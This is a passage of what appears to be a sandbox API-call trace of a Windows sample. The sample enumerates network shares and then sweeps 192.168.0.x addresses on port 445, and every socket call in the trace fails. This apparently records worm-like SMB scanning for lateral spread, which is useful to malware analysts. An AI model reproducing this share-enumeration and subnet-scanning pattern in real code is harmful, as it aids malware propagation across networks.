GetProcessHeap () returned 0x560000 [0265.233] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4000) returned 0x2beeeb8 [0265.233] GetProcessHeap () returned 0x560000 [0265.233] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b888a8 [0265.233] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x237fd68 | out: lphEnum=0x237fd68*=0x65bdc8) returned 0x0 [0265.234] WNetEnumResourceW (in: hEnum=0x65bdc8, lpcCount=0x237fd60, lpBuffer=0x2beeeb8, lpBufferSize=0x237fd6c | out: lpcCount=0x237fd60, lpBuffer=0x2beeeb8, lpBufferSize=0x237fd6c) returned 0x0 [0265.234] GetProcessHeap () returned 0x560000 [0265.234] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4000) returned 0x2bf2ec0 [0265.234] GetProcessHeap () returned 0x560000 [0265.234] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b988b0 [0265.234] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2beeef8, lphEnum=0x237fd28 | out: lphEnum=0x237fd28*=0x0) returned 0x4c6 [0265.236] GetProcessHeap () returned 0x560000 [0265.236] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bf2ec0 | out: hHeap=0x560000) returned 1 [0265.236] GetProcessHeap () returned 0x560000 [0265.236] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b988b0 | out: hHeap=0x560000) returned 1 [0265.237] GetProcessHeap () returned 0x560000 [0265.237] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4000) returned 0x2bf2ec0 [0265.237] GetProcessHeap () returned 0x560000 [0265.237] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b988b0 [0265.237] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2beeed8, lphEnum=0x237fd28 | out: lphEnum=0x237fd28*=0x0) returned 0x4b8 [0280.560] GetProcessHeap () returned 0x560000 [0280.560] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bf2ec0 | out: hHeap=0x560000) returned 1 [0280.561] GetProcessHeap () returned 0x560000 [0280.561] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b988b0 | out: hHeap=0x560000) returned 1 [0280.561] GetProcessHeap () returned 0x560000 [0280.561] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4000) returned 0x2bf2ec0 [0280.561] GetProcessHeap () returned 0x560000 [0280.561] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b988b0 [0280.561] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2beeeb8, lphEnum=0x237fd28 | out: lphEnum=0x237fd28*=0x57cc18) returned 0x0 [0280.658] WNetEnumResourceW (in: hEnum=0x57cc18, lpcCount=0x237fd20, lpBuffer=0x2bf2ec0, lpBufferSize=0x237fd2c | out: lpcCount=0x237fd20, lpBuffer=0x2bf2ec0, lpBufferSize=0x237fd2c) returned 0x103 [0280.659] WNetCloseEnum (hEnum=0x57cc18) returned 0x0 [0280.659] GetProcessHeap () returned 0x560000 [0280.659] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bf2ec0 | out: hHeap=0x560000) returned 1 [0280.659] GetProcessHeap () returned 0x560000 [0280.659] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b988b0 | out: hHeap=0x560000) returned 1 [0280.659] WNetEnumResourceW (in: hEnum=0x65bdc8, lpcCount=0x237fd60, lpBuffer=0x2beeeb8, lpBufferSize=0x237fd6c | out: lpcCount=0x237fd60, lpBuffer=0x2beeeb8, lpBufferSize=0x237fd6c) returned 0x103 [0280.659] WNetCloseEnum (hEnum=0x65bdc8) returned 0x0 [0280.659] GetProcessHeap () returned 0x560000 [0280.659] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2beeeb8 | out: hHeap=0x560000) returned 1 [0280.659] GetProcessHeap () returned 0x560000 [0280.659] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b888a8 | out: hHeap=0x560000) returned 1 [0280.659] GetProcessHeap () returned 0x560000 [0280.659] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x3a98) returned 0x2beeeb8 [0280.660] GetIpAddrTable (in: pIpAddrTable=0x2beeeb8, pdwSize=0x237fd94, bOrder=0 | out: pIpAddrTable=0x2beeeb8, pdwSize=0x237fd94) returned 0x0 [0280.779] htonl (hostlong=0x4c00a8c0) returned 0xc0a8004c [0280.780] htonl (hostlong=0x4c00a8c0) returned 0xc0a8004c [0280.780] htonl (hostlong=0xffffff) returned 0xffffff00 [0280.780] htons (hostshort=0x1bd) returned 0xbd01 [0280.780] GetProcessHeap () returned 0x560000 [0280.780] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x800) returned 0x3c021a8 [0280.780] GetProcessHeap () returned 0x560000 [0280.780] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x800) returned 0x2b848e0 [0280.780] htonl (hostlong=0xc0a80000) returned 0xa8c0 [0280.780] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.781] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.781] htonl (hostlong=0xc0a80001) returned 0x100a8c0 [0280.781] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.781] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.781] htonl (hostlong=0xc0a80002) returned 0x200a8c0 [0280.781] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.781] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.781] htonl (hostlong=0xc0a80003) returned 0x300a8c0 [0280.781] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.781] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.781] htonl (hostlong=0xc0a80004) returned 0x400a8c0 [0280.781] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.781] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.781] htonl (hostlong=0xc0a80005) returned 0x500a8c0 [0280.781] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.782] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.782] htonl (hostlong=0xc0a80006) returned 0x600a8c0 [0280.782] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.782] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.782] htonl (hostlong=0xc0a80007) returned 0x700a8c0 [0280.782] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.782] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.782] htonl (hostlong=0xc0a80008) returned 0x800a8c0 [0280.782] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.782] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.782] htonl (hostlong=0xc0a80009) returned 0x900a8c0 [0280.782] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.782] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.782] htonl (hostlong=0xc0a8000a) returned 0xa00a8c0 [0280.783] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.783] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.783] htonl (hostlong=0xc0a8000b) returned 0xb00a8c0 [0280.783] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.783] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.783] htonl (hostlong=0xc0a8000c) returned 0xc00a8c0 [0280.783] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.783] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.783] htonl (hostlong=0xc0a8000d) returned 0xd00a8c0 [0280.783] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.783] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.783] htonl (hostlong=0xc0a8000e) returned 0xe00a8c0 [0280.783] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.783] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.784] htonl (hostlong=0xc0a8000f) returned 0xf00a8c0 [0280.784] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.784] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.784] htonl (hostlong=0xc0a80010) returned 0x1000a8c0 [0280.784] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.784] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.784] htonl (hostlong=0xc0a80011) returned 0x1100a8c0 [0280.784] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.784] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.784] htonl (hostlong=0xc0a80012) returned 0x1200a8c0 [0280.784] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.784] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.784] htonl (hostlong=0xc0a80013) returned 0x1300a8c0 [0280.784] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.784] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.785] htonl (hostlong=0xc0a80014) returned 0x1400a8c0 [0280.785] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.785] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.785] htonl (hostlong=0xc0a80015) returned 0x1500a8c0 [0280.785] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.785] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.785] htonl (hostlong=0xc0a80016) returned 0x1600a8c0 [0280.785] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.785] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.785] htonl (hostlong=0xc0a80017) returned 0x1700a8c0 [0280.785] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.785] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.785] htonl (hostlong=0xc0a80018) returned 0x1800a8c0 [0280.785] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.785] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.786] htonl (hostlong=0xc0a80019) returned 0x1900a8c0 [0280.786] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.786] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.786] htonl (hostlong=0xc0a8001a) returned 0x1a00a8c0 [0280.786] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.786] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.786] htonl (hostlong=0xc0a8001b) returned 0x1b00a8c0 [0280.786] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.786] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.786] htonl (hostlong=0xc0a8001c) returned 0x1c00a8c0 [0280.786] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.786] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.786] htonl (hostlong=0xc0a8001d) returned 0x1d00a8c0 [0280.786] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.787] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.787] htonl (hostlong=0xc0a8001e) returned 0x1e00a8c0 [0280.787] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.787] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.787] htonl (hostlong=0xc0a8001f) returned 0x1f00a8c0 [0280.787] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.787] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.787] htonl (hostlong=0xc0a80020) returned 0x2000a8c0 [0280.787] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.787] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.787] htonl (hostlong=0xc0a80021) returned 0x2100a8c0 [0280.787] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.787] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.788] htonl (hostlong=0xc0a80022) returned 0x2200a8c0 [0280.788] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.788] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.788] htonl (hostlong=0xc0a80023) returned 0x2300a8c0 [0280.788] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.788] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.788] htonl (hostlong=0xc0a80024) returned 0x2400a8c0 [0280.788] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.788] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.788] htonl (hostlong=0xc0a80025) returned 0x2500a8c0 [0280.788] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.788] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.788] htonl (hostlong=0xc0a80026) returned 0x2600a8c0 [0280.789] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.789] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.789] htonl (hostlong=0xc0a80027) returned 0x2700a8c0 [0280.789] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.789] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.789] htonl (hostlong=0xc0a80028) returned 0x2800a8c0 [0280.789] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.789] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.789] htonl (hostlong=0xc0a80029) returned 0x2900a8c0 [0280.789] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.789] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.789] htonl (hostlong=0xc0a8002a) returned 0x2a00a8c0 [0280.789] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.789] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.789] htonl (hostlong=0xc0a8002b) returned 0x2b00a8c0 [0280.790] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.790] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.790] htonl (hostlong=0xc0a8002c) returned 0x2c00a8c0 [0280.790] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.790] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.790] htonl (hostlong=0xc0a8002d) returned 0x2d00a8c0 [0280.790] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.790] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.790] htonl (hostlong=0xc0a8002e) returned 0x2e00a8c0 [0280.790] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.790] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.790] htonl (hostlong=0xc0a8002f) returned 0x2f00a8c0 [0280.790] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.790] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.790] htonl (hostlong=0xc0a80030) returned 0x3000a8c0 [0280.791] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.791] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.791] htonl (hostlong=0xc0a80031) returned 0x3100a8c0 [0280.791] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.791] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.791] htonl (hostlong=0xc0a80032) returned 0x3200a8c0 [0280.791] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.791] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.791] htonl (hostlong=0xc0a80033) returned 0x3300a8c0 [0280.791] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.791] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.791] htonl (hostlong=0xc0a80034) returned 0x3400a8c0 [0280.791] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.791] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.791] htonl (hostlong=0xc0a80035) returned 0x3500a8c0 [0280.792] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.792] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.792] htonl (hostlong=0xc0a80036) returned 0x3600a8c0 [0280.792] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.792] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.792] htonl (hostlong=0xc0a80037) returned 0x3700a8c0 [0280.792] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.792] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.792] htonl (hostlong=0xc0a80038) returned 0x3800a8c0 [0280.792] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.792] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.792] htonl (hostlong=0xc0a80039) returned 0x3900a8c0 [0280.792] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.793] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.793] htonl (hostlong=0xc0a8003a) returned 0x3a00a8c0 [0280.793] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.794] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.794] htonl (hostlong=0xc0a8003b) returned 0x3b00a8c0 [0280.794] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.794] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.794] htonl (hostlong=0xc0a8003c) returned 0x3c00a8c0 [0280.794] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.794] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.794] htonl (hostlong=0xc0a8003d) returned 0x3d00a8c0 [0280.794] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.794] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.794] htonl (hostlong=0xc0a8003e) returned 0x3e00a8c0 [0280.794] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.794] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.794] htonl (hostlong=0xc0a8003f) returned 0x3f00a8c0 [0280.794] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.794] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.794] htonl (hostlong=0xc0a80040) returned 0x4000a8c0 [0280.794] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.795] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.795] htonl (hostlong=0xc0a80041) returned 0x4100a8c0 [0280.795] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.795] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.795] htonl (hostlong=0xc0a80042) returned 0x4200a8c0 [0280.795] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.795] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.795] htonl (hostlong=0xc0a80043) returned 0x4300a8c0 [0280.795] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.795] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.795] htonl (hostlong=0xc0a80044) returned 0x4400a8c0 [0280.795] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.795] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.795] htonl (hostlong=0xc0a80045) returned 0x4500a8c0 [0280.795] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.795] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.796] htonl (hostlong=0xc0a80046) returned 0x4600a8c0 [0280.796] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.796] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.796] htonl (hostlong=0xc0a80047) returned 0x4700a8c0 [0280.796] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.796] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.796] htonl (hostlong=0xc0a80048) returned 0x4800a8c0 [0280.796] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.796] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.796] htonl (hostlong=0xc0a80049) returned 0x4900a8c0 [0280.796] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.796] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.796] htonl (hostlong=0xc0a8004a) returned 0x4a00a8c0 [0280.796] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.796] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.796] htonl (hostlong=0xc0a8004b) returned 0x4b00a8c0 [0280.797] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.797] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd50 | out: argp=0x237fd50) returned -1 [0280.797] GetProcessHeap () returned 0x560000 [0280.797] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3c021a8 | out: hHeap=0x560000) returned 1 [0280.797] GetProcessHeap () returned 0x560000 [0280.797] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b848e0 | out: hHeap=0x560000) returned 1 [0280.797] htons (hostshort=0x1bd) returned 0xbd01 [0280.797] GetProcessHeap () returned 0x560000 [0280.797] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x800) returned 0x3c021a8 [0280.797] GetProcessHeap () returned 0x560000 [0280.797] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x800) returned 0x2b848e0 [0280.797] htonl (hostlong=0xc0a8004d) returned 0x4d00a8c0 [0280.797] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.798] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.798] htonl (hostlong=0xc0a8004e) returned 0x4e00a8c0 [0280.798] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.798] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.798] htonl (hostlong=0xc0a8004f) returned 0x4f00a8c0 [0280.798] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.798] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.798] htonl (hostlong=0xc0a80050) returned 0x5000a8c0 [0280.798] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.798] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.798] htonl (hostlong=0xc0a80051) returned 0x5100a8c0 [0280.798] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.798] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.798] htonl (hostlong=0xc0a80052) returned 0x5200a8c0 [0280.798] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.799] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.799] htonl (hostlong=0xc0a80053) returned 0x5300a8c0 [0280.799] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.799] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.799] htonl (hostlong=0xc0a80054) returned 0x5400a8c0 [0280.799] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.799] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.799] htonl (hostlong=0xc0a80055) returned 0x5500a8c0 [0280.799] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.799] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.799] htonl (hostlong=0xc0a80056) returned 0x5600a8c0 [0280.799] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.799] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.800] htonl (hostlong=0xc0a80057) returned 0x5700a8c0 [0280.800] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.800] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.800] htonl (hostlong=0xc0a80058) returned 0x5800a8c0 [0280.800] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.800] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.800] htonl (hostlong=0xc0a80059) returned 0x5900a8c0 [0280.800] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.800] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.800] htonl (hostlong=0xc0a8005a) returned 0x5a00a8c0 [0280.800] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.800] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.800] htonl (hostlong=0xc0a8005b) returned 0x5b00a8c0 [0280.801] socket (af=2, type=1, protocol=6) returned 0xffffffff [0280.801] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x237fd48 | out: argp=0x237fd48) returned -1 [0280.801] htonl (hostlong=0xc0a8005c) returned 0x5c00a8c0 [0280.801] socket (af=2, type=1, protocol=6) returned 0xffffffff 